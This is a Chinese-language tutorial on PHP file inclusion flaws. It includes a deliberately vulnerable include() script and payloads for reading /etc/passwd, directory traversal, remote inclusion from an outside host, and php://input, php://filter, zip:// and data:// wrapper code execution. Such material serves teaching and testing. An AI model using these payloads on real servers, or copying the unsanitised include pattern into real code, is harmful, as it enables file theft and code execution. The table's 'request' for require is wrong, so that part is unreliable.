0x00 基础
函数:$file=<filepath|url|伪协议>
函数 | 概况 |
---|---|
highlight_file ($file) |
高亮输出代码 |
show_source ($file) |
同上 |
file ($file) |
把整个文件读入一个数组 |
file_get_contents ($file) |
把整个文件读入一个字符串 |
fopen ($file,$mode) |
打开一个文件,搭配fread()和fgets()使用 |
readfile ($file) |
读取并输出文件内容(不输出php代码)并返回字节数 |
include ($file) |
在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行 |
include_once ($file) |
只包含一次,其它同上 |
request ($file) |
在包含的过程中如果出现错误,会直接报错并退出程序的执行 |
request_once ($file) |
只包含一次,其它同上 |
php配置文件:php.ini
-
allow_url_fopen=
:允许获取远程url文件信息(不能获取https协议信息) -
allow_url_include=
:允许包含远程url和部分伪协议
0x01 文件包含
#include.php
<?php
highlight_file('include.php');
$file=$_GET['file'];
if (!isset($file)){
header('location:include.php?file=echo.php');
}
else
include($file);
//$post=file_get_contents($file);
//eval($post);
#echo.php
<?php echo '<br> 123456 </br>';
#phpinfo.php
<?php phpinfo();
- 本地文件包含
url?file=/etc/passwd
<?php
include('/etc/passwd') //读取重要文件
- 远程文件包含(allow_url_fopen=1&allow_url_include=1)
url?file=https://www.geekyang.top/test.php
<?php
include('https://www.geekyang.top/test.php') //运行test.php
- 目录穿越
url?file=../../../etc/passwd
<?php
$a=$_GET['a'];
include('/var/www/html/'.$a); //越权读取文件<url>?a=../../../etc/passwd
0x02 伪协议
file://
(fopen=0&include=0)访问本地文件系统(绝对路径)
url?file=///etc/passwd
<?php
include('file:///etc/passwd') //读取本地文件
zip://
(fopen=0&include=0)获取压缩文件的内容并当作php运行
//绝对路径 压缩包格式任意
url?file=zip://D:\phpstudy_pro\WWW\include\phpinfo.zip\phpinfo.txt
<?php
$a=file_get_contents('zip://D:\phpstudy_pro\WWW\include\phpinfo.zip\phpinfo.txt');
php://input
(fopen=0&include=1)获取传入的post数据并运行
url?file=php://input //post phpinfo()
<?php
$a=file_get_contents('php://input');
php://filter
(fopen=0&include=0)base64编码读取源代码
url?file=php://filter/read=convert.base64-encode/resource=echo.php
<?php
include('php://filter/read=convert.base64-encode/resource=test.php');
data://
(fopen=1&include=1)传输数据
data://text/plain,<php>
include('data://text/plain,<?php phpinfo();');//传输php代码数据并运行
<url>?file=data://text/plain,<?php phpinfo();
data://text/plain;base64,<base64_php>
include('data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==');//解码base64传输数据
<url>?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==